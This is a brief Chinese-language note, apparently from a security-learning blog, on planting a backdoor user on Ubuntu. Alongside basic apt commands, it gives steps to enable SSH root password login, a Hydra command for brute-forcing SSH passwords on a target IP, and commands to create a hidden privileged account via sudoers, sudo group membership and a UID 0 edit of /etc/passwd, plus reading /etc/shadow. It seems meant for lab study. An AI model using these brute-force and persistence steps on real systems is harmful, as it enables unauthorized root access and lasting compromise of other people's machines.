Ubuntu 后面用户植入

0 阅读1分钟

Ubuntu 后面用户植入

包管理器:apt

Ubuntu(APT 命令)

apt update 刷新软件索引(获取最新可安装 / 更新列表)

apt upgrade 升级所有已安装的软件包

apt install <package_name> 安装指定软件(替换<package_name>为软件名)

apt remove <package_name> 删除指定软件包(保留配置文件)

apt list 列出所有可用软件包(已安装 / 可安装 / 可升级)

SSH安装与配置

apt install openssh-server 安装SSH服务

nano /etc/ssh/sshd_config 配置允许root用户远程密码登陆

修改配置文件:

• PermitRootLogin yes

• PasswordAuthentication yes

重启SSH服务

service ssh restart

Hydra

hydra -l 【用户名,如root】 -P 【密码字典路径】 【ssh://目标IP】 密码爆破

植入后门用户

useradd -m 【用户名】 新建用户

passwd 【用户名】 设置密码

配置sudo权限:

• nano /etc/sudoers 增加:

【用户名】 ALL=(ALL:ALL) ALL

赋予用户 sudo 权限 cat etc/group 查看 group

usermod -aG sudo QK -a 追加

设置用户root权限: 用nano更改

nano /etc/passwd

cat 查看:

/etc/passwd :用户基本信息

/etc/shadow :用户密码信息

root: x: ​0: 0: root: /root: /bin/bash

用户名:密码:用户ID:组ID:用户说明:用户目录:命令解释器

用户(user)

root用户:UID=0,拥有最高权限

系统用户:UID 1-999(通常用于服务进程)

普通用户:UID ≥1000(手动创建的用户)